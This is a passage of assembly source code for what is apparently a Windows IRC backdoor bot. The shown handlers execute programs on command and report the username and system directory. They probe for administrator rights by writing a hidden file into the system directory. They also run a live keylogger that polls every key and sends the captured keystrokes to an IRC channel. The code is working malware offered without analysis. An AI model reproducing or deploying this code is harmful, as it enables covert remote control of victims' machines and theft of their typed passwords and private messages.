|
|||
|
StartupInfo,\ ;startup structure
|
|||
|
ProcessInfo ;process structure
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je ExecError ;show it then
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy message
|
|||
|
ReturnBuffer,\ ;to this
|
|||
|
"successful executed" ;yehaw
|
|||
|
|
|||
|
call SendPrivmsg ;send to chan
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
ExecError: ;error occured
|
|||
|
invoke lstrcpy,\ ;copy message
|
|||
|
ReturnBuffer,\ ;to this
|
|||
|
"execution failed" ;damn
|
|||
|
|
|||
|
call SendPrivmsg ;send to chan
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdVersion: ;show bot version
|
|||
|
invoke lstrcpy,\ ;copy version to buffer
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
Version ;from version
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdMsgbox: ;show a error message box
|
|||
|
call ExtractParameters ;get two parameters
|
|||
|
|
|||
|
invoke MessageBox,\ ;show messagbox, local
|
|||
|
0,\ ;no owner
|
|||
|
Parameter2,\ ;Text
|
|||
|
Parameter1 + 7d,\ ;title, skip "msgbox "
|
|||
|
MB_ICONERROR ;error style
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy message
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
"message box closed by user" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to channe<6E>
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdInfo: ;show informations
|
|||
|
invoke lstrcpy,\ ;copy "Username" to buffer
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
"Username: " ;msg
|
|||
|
|
|||
|
invoke GetUserName,\ ;get user name
|
|||
|
Username,\ ;buffer
|
|||
|
UsernameSize ;size
|
|||
|
|
|||
|
invoke lstrcat,\ ;copy username
|
|||
|
ReturnBuffer,\ ;buffer
|
|||
|
Username ;pointer
|
|||
|
|
|||
|
invoke lstrcat,\ ;copy "sysdir"
|
|||
|
ReturnBuffer,\ ;to buffer
|
|||
|
", System directory: " ;msg
|
|||
|
|
|||
|
invoke GetSystemDirectory,\ ;get sys dir to test
|
|||
|
SystemDir,\ ;buffer
|
|||
|
256d ;size
|
|||
|
|
|||
|
invoke lstrcat,\ ;copy to buffer
|
|||
|
ReturnBuffer,\ ;to buffer
|
|||
|
SystemDir ;from here
|
|||
|
|
|||
|
invoke lstrcat,\ ;append "admin"
|
|||
|
ReturnBuffer,\ ;buffer
|
|||
|
", Admin: "
|
|||
|
|
|||
|
invoke lstrcat,\ ;append filename to system dir
|
|||
|
SystemDir,\ ;to buffer
|
|||
|
"DiA.RRLF" ;filename ;)
|
|||
|
|
|||
|
invoke CreateFile,\ ;try to create this file
|
|||
|
SystemDir,\ ;file in system directory
|
|||
|
GENERIC_WRITE,\ ;check write
|
|||
|
FILE_SHARE_WRITE,\ ;yeh
|
|||
|
0,\ ;no security attributes
|
|||
|
CREATE_ALWAYS,\ ;overwrite if exist
|
|||
|
FILE_ATTRIBUTE_HIDDEN,\ ;as hidden
|
|||
|
0 ;no template file
|
|||
|
|
|||
|
cmp eax, -1 ;error?
|
|||
|
je NoAdmin ;then user is no admin
|
|||
|
|
|||
|
invoke lstrcat,\ ;copy "yes"
|
|||
|
ReturnBuffer,\ ;to buffer
|
|||
|
"Yes" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;and return
|
|||
|
|
|||
|
NoAdmin: ;user is no admin
|
|||
|
invoke lstrcat,\ ;copy "no"
|
|||
|
ReturnBuffer,\ ;to buffer
|
|||
|
"No" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;and return
|
|||
|
|
|||
|
CmdLivelog: ;create a thread for live keylogging
|
|||
|
invoke CreateThread,\ ;create the keylog thread
|
|||
|
0,\ ;no security attributes
|
|||
|
0,\ ;default stack size
|
|||
|
LiveKeylog,\ ;procedure start
|
|||
|
0,\ ;no parameters
|
|||
|
0,\ ;start right now
|
|||
|
ThreadId ;store here the thread id
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je ThreadError ;then jump there
|
|||
|
|
|||
|
mov dword [ThreadHandle], eax ;store thread handle
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy success message
|
|||
|
ReturnBuffer,\ ;to the buffer
|
|||
|
"live keylogging thread created" ;yehaw
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;ret
|
|||
|
|
|||
|
ThreadError:
|
|||
|
invoke lstrcpy,\ ;copy error message
|
|||
|
ReturnBuffer,\ ;to this
|
|||
|
"error on creating live keylogging thread" ;buh
|
|||
|
|
|||
|
call SendPrivmsg ;send it
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdStoplog: ;stop keylogging thread
|
|||
|
invoke GetExitCodeThread,\ ;get exit code to terminate thread
|
|||
|
dword [ThreadHandle],\ ;thread handle
|
|||
|
ThreadExitCode ;store it here
|
|||
|
|
|||
|
invoke TerminateThread,\ ;exit it now
|
|||
|
dword [ThreadHandle],\ ;handle
|
|||
|
dword [ThreadExitCode] ;with this
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je ExitThreadError ;show it then
|
|||
|
|
|||
|
mov dword [ThreadId], 0 ;clear id
|
|||
|
mov dword [ThreadHandle], 0 ;clear handle
|
|||
|
mov dword [ThreadExitCode], 0 ;clear exit code
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy sucess message
|
|||
|
ReturnBuffer,\ ;to buffer
|
|||
|
"keylogging thread terminated" ;msg
|
|||
|
|
|||
|
call SendPrivmsg ;send it
|
|||
|
jmp ExecuteCommandReturn ;ret
|
|||
|
|
|||
|
ExitThreadError: ;arghh, maybe not exist
|
|||
|
invoke lstrcpy,\ ;copy error message
|
|||
|
ReturnBuffer,\ ;to buffer
|
|||
|
"error terminating keylogging thread" ;msg
|
|||
|
|
|||
|
call SendPrivmsg ;send it
|
|||
|
jmp ExecuteCommandReturn ;ret
|
|||
|
|
|||
|
ExecuteCommandReturn: ;return
|
|||
|
ret ;return to call
|
|||
|
|
|||
|
|
|||
|
ExtractParameters: ;this procedure extracts two parameter from a cmd
|
|||
|
mov edx, CommandBuffer ;pointer to buffer
|
|||
|
mov ecx, 0 ;zero counter
|
|||
|
|
|||
|
FindCut: ;get the "|" cur
|
|||
|
cmp byte [edx + ecx], "|" ;is byte at position a "|"?
|
|||
|
je HaveCut ;then extract it
|
|||
|
|
|||
|
inc ecx ;counter + 1
|
|||
|
jmp FindCut ;scan next position
|
|||
|
|
|||
|
HaveCut: ;have cut, extract it
|
|||
|
add edx, ecx ;add counter to start of buffer
|
|||
|
mov byte [edx - 1], 0 ;zero the "|"
|
|||
|
add edx, 2d ;skip space
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy parameter2
|
|||
|
Parameter2,\ ;destination
|
|||
|
edx ;source
|
|||
|
|
|||
|
invoke lstrlen,\ ;get length to erase crlf
|
|||
|
Parameter2 ;of buffer
|
|||
|
|
|||
|
mov byte [Parameter2 + eax - 1], 0 ;erase crlf
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy parameter1
|
|||
|
Parameter1,\ ;buffer
|
|||
|
CommandBuffer ;source
|
|||
|
ret ;return to call
|
|||
|
|
|||
|
|
|||
|
LiveKeylog: ;this procedure logs keys and send it to channel
|
|||
|
invoke lstrlen,\ ;get legth of buffer
|
|||
|
KeylogBuffer ;key strokes buffer
|
|||
|
|
|||
|
cmp eax, 50d ;is over 50 characters?
|
|||
|
jae SendKeyLine ;then send it to channel
|
|||
|
|
|||
|
mov ebx, 0 ;set counter to zero (just use ebx because api dont change it
|
|||
|
|
|||
|
NextKey: ;try if next key is pressed
|
|||
|
cmp ebx, 255d ;end of possible keys?
|
|||
|
je LiveKeylog ;the try from start again
|
|||
|
|
|||
|
invoke GetAsyncKeyState,\ ;get status of this key
|
|||
|
ebx ;in ebx (0 - 255)
|
|||
|
|
|||
|
cmp eax, -32767d ;is pressed?
|
|||
|
jne ScanNextKey ;if not check next possible key
|
|||
|
|
|||
|
cmp ebx, 20h ;VK_SPACE
|
|||
|
je IsSpace ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 8h ;VK_BACK
|
|||
|
je IsBack ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 9h ;VK_TAB
|
|||
|
je IsTab ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 60h ;VK_NUMPAD0
|
|||
|
je IsNumpad0 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 61h ;VK_NUMPAD1
|
|||
|
je IsNumpad1 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 62h ;VK_NUMPAD2
|
|||
|
je IsNumpad2 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 63h ;VK_NUMPAD3
|
|||
|
je IsNumpad3 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 64h ;VK_NUMPAD4
|
|||
|
je IsNumpad4 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 65h ;VK_NUMPAD5
|
|||
|
je IsNumpad5 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 66h ;VK_NUMPAD6
|
|||
|
je IsNumpad6 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 67h ;VK_NUMPAD7
|
|||
|
je IsNumpad7 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 68h ;VK_NUMPAD8
|
|||
|
je IsNumpad8 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 69h ;VK_NUMPAD9
|
|||
|
je IsNumpad9 ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 0Dh ;VK_RETURN
|
|||
|
je IsReturn ;if it is this key, jump there
|
|||
|
|
|||
|
cmp ebx, 30h ;VK_0
|
|||
|
jae CheckIsKey ;if its above "1" its possible key
|
|||
|
|
|||
|
ScanNextKey: ;check next key if its pressed
|
|||
|
inc ebx ;increase counter by one
|
|||
|
jmp NextKey ;check it baby
|
|||
|
|
|||
|
CheckIsKey:
|
|||
|
cmp ebx, 5Ah ;VK_Z
|
|||
|
jbe IsKey ;is key from 1 - Z
|
|||
|
|
|||
|
jmp ScanNextKey ;nop, scan next one
|
|||
|
|
|||
|
IsSpace: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
" "
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsBack: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"{back}"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsTab: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"{tab}"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad0: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"0"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad1: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"1"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad2: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"2"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad3: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"3"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad4: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"4"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad5: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"5"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad6: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"6"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad7: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"7"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad8: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"8"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsNumpad9: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"9"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsReturn: ;cat other key to buffer
|
|||
|
invoke lstrcat,\
|
|||
|
KeylogBuffer,\
|
|||
|
"{crlf}"
|
|||
|
|
|||
|
jmp LiveKeylog
|
|||
|
|
|||
|
IsKey: ;cat key to buffer
|
|||
|
mov dword [ByteBuffer], ebx ;key is in ebx
|
|||
|
|
|||
|
invoke lstrcat,\ ;append it to the keylog buffer
|
|||
|
KeylogBuffer,\ ;to this
|
|||
|
ByteBuffer ;the logged key
|
|||
|
|
|||
|
jmp LiveKeylog ;log next key
|
|||
|
|
|||
|
SendKeyLine:
|
|||
|
invoke lstrcpy,\ ;send complete line to channel
|
|||
|
SendBuffer,\ ;copy to send buffer
|
|||
|
"PRIVMSG " ;irc command
|
|||
|
|
|||
|
invoke lstrcat,\ ;append channel
|
|||
|
SendBuffer,\ ;to buffer
|
|||
|
Channel ;this
|
|||
|
|
|||
|
invoke lstrcat,\ ;cat :
|
|||
|
SendBuffer,\ ;to buffer
|
|||
|
" :" ;guess
|
|||
|
|
|||
|
invoke lstrcat,\ ;append logged buffer
|
|||
|
SendBuffer,\ ;to send buffer
|
|||
|
KeylogBuffer ;from here
|
|||
|
|
|||
|
call SendLine ;send line to irc server
|
|||
|
|
|||
|
mov dword [KeylogBuffer], 0 ;empty buffer
|
|||
|
jmp LiveKeylog ;log next
|
|||
|
|
|||
|
ret ;return to call
|
|||
|
|
|||
|
|
|||
|
section '.idata' import data readable writeable ;imports
|
|||
|
library kernel, "kernel32.dll",\
|
|||
|
winsock, "ws2_32.dll",\
|
|||
|
user, "user32.dll",\
|
|||
|
advapi, "advapi32.dll",\
|
|||
|
wininet, "wininet.dll"
|
|||
|
|
|||
|
import kernel,\
|
|||
|
lstrcpy, "lstrcpyA",\
|
|||
|
lstrcpyn, "lstrcpynA",\
|
|||
|
lstrcat, "lstrcatA",\
|
|||
|
lstrcmp, "lstrcmpA",\
|
|||
|
lstrlen, "lstrlenA",\
|
|||
|
GetTickCount, "GetTickCount",\
|
|||
|
Sleep, "Sleep",\
|
|||
|
CreateFile, "CreateFileA",\
|
|||
|
WriteFile, "WriteFile",\
|
|||
|
CloseHandle, "CloseHandle",\
|
|||
|
CreateProcess, "CreateProcessA",\
|
|||
|
CreateThread, "CreateThread",\
|
|||
|
GetExitCodeThread, "GetExitCodeThread",\
|
|||
|
TerminateThread, "TerminateThread",\
|
|||
|
GetSystemDirectory, "GetSystemDirectoryA",\
|
|||
|
ExitProcess, "ExitProcess"
|
|||
|
|
|||
|
import winsock,\
|
|||
|
WSAStartup, "WSAStartup",\
|
|||
|
socket, "socket",\
|
|||
|
inet_addr, "inet_addr",\
|
|||
|
htons, "htons",\
|
|||
|
connect, "connect",\
|
|||
|
recv, "recv",\
|
|||
|
send, "send",\
|
|||
|
WSACleanup, "WSACleanup"
|
|||
|
|
|||
|
import advapi,\
|
|||
|
GetUserName, "GetUserNameA"
|
|||
|
|
|||
|
import user,\
|
|||
|
CharLowerBuff, "CharLowerBuffA",\
|
|||
|
MessageBox, "MessageBoxA",\
|
|||
|
GetAsyncKeyState, "GetAsyncKeyState"
|
|||
|
|
|||
|
import wininet,\
|
|||
|
InternetOpen, "InternetOpenA",\
|
|||
|
InternetOpenUrl, "InternetOpenUrlA",\
|
|||
|
InternetReadFile, "InternetReadFile",\
|
|||
|
InternetCloseHandle, "InternetCloseHandle"
|
|||
|
|